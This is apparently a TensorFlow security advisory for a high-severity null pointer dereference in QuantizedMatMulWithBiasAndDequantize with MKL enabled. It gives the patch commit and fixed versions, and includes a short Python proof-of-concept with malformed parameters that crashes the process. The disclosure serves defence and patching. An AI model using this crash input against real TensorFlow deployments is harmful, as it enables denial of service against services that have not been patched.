NPE in QuantizedMatMulWithBiasAndDequantize with MKL enable
import tensorflow as tf
func = tf.raw_ops.QuantizedMatMulWithBiasAndDequantize
para={'a': tf.constant(138, dtype=tf.quint8), 'b': tf.constant(4, dtype=tf.qint8), 'bias': [[31.81644630432129, 47.21876525878906], [109.95201110839844, 152.07968139648438]], 'min_a': 141.5337138686371, 'max_a': [73.84139251708984, 173.15280151367188], 'min_b': [], 'max_b': [[16.128345489501953, 193.26820373535156]], 'min_freezed_output': [], 'max_freezed_output': [115.50032806396484, 156.974853515625], 'Toutput': 1.0, 'transpose_a': True, 'transpose_b': False, 'input_quant_mode': 'MIN_FIRST'}
func(**para)
We have patched the issue in GitHub commit 8a47a39d9697969206d23a523c977238717e8727.
The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by r3pwnx
{ "nvd_published_at": "2023-03-25T00:15:00Z", "github_reviewed_at": "2023-03-24T21:55:32Z", "severity": "HIGH", "github_reviewed": true, "cwe_ids": [ "CWE-476" ] }